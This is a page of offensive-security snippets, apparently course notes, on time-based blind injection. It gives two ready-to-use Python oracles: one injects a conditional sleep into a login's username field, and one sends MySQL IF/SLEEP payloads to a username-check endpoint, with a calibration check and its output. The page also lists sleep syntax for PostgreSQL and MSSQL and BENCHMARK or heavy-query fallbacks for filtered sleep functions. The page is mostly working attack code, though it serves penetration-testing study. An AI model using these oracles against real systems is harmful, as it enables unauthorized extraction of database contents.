Skip to content
Time-based

Time-based

Time-based oracle (no boolean diff)

When responses are identical, response time becomes the branch signal. r.elapsed avoids a manual timer; the threshold is set below the injected sleep.

THRESHOLD = 0.4   # seconds; keep well under the injected sleep

def oracle(s, condition):
    payload = f'" || ({condition} ? sleep(500) : 0) || ""=="'
    login_data = {"username": payload, "password": "x"}
    r = s.post(url=LOGIN_URL, data=login_data, verify=False)
    return r.elapsed.total_seconds() > THRESHOLD
# manual timer variant:
#   start = time.time(); s.post(...); return time.time() - start > THRESHOLD

Find by: time based, blind, sleep, delay, timing, elapsed, no output, total_seconds, benchmark, heavy query, threshold · Source: CWEE/SSJI, XPath time

Time-based oracle (SLEEP/heavy-query branch)

Fully-blind oracle that conditionally delays the query and reads wall-clock response time as the signal.

When neither content nor status differs between branches, wall-clock time becomes the oracle. The payload wraps the question in IF((<condition>), SLEEP(DELAY), 0) so the database stalls for DELAY seconds only on the TRUE branch; requests exposes the round trip as r.elapsed, and >= DELAY is a safe threshold because network latency only adds to the sleep, never subtracts. This oracle is a drop-in replacement for the boolean oracle in the Blind snippet – the identical count_rows, find_length, and dump routines run unchanged on top of it, so the per-character loop is never rewritten. Dialect swaps for the sleep branch: MySQL uses IF(...,SLEEP(n),0), PostgreSQL CASE WHEN <cond> THEN pg_sleep(n) ELSE pg_sleep(0) END, and MSSQL IF(<cond>) WAITFOR DELAY '0:0:n'. A heavy self-join or BENCHMARK() substitutes for SLEEP where the sleep function is filtered.

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

s = requests.Session()
CHECK_URL = "https://target/api/check-username.php"
KNOWN_USER = "maria"
DELAY = 3   # seconds the TRUE branch must sleep (raise above network jitter)

def oracle(condition):
    # The DB sleeps only when <condition> is TRUE, so response time is the
    # signal - no content or status diff required (fully blind).
    inj = f"' AND IF(({condition}), SLEEP({DELAY}), 0) -- -"
    r = s.post(CHECK_URL, data={"u": f"{KNOWN_USER}{inj}"}, verify=False)  # proxies=PROXIES
    return r.elapsed.total_seconds() >= DELAY

if oracle("1=1"):
    print(f"[+] Response delayed >= {DELAY}s - time oracle is live")
else:
    print("[-] No delay - injection not reaching the query")

# Drop-in: reuse count_rows / find_length / dump from the Blind snippet as-is.

Calibration against a known-TRUE condition

[+] Response delayed >= 3s - time oracle is live
# oracle("1=1") -> True; the FALSE branch returns near base latency

Find by: time-based sqli, blind, SLEEP, IF, WAITFOR, pg_sleep, response time, elapsed, fully blind, drop-in oracle · Source: CWEE/Blind SQLi (time-based variant)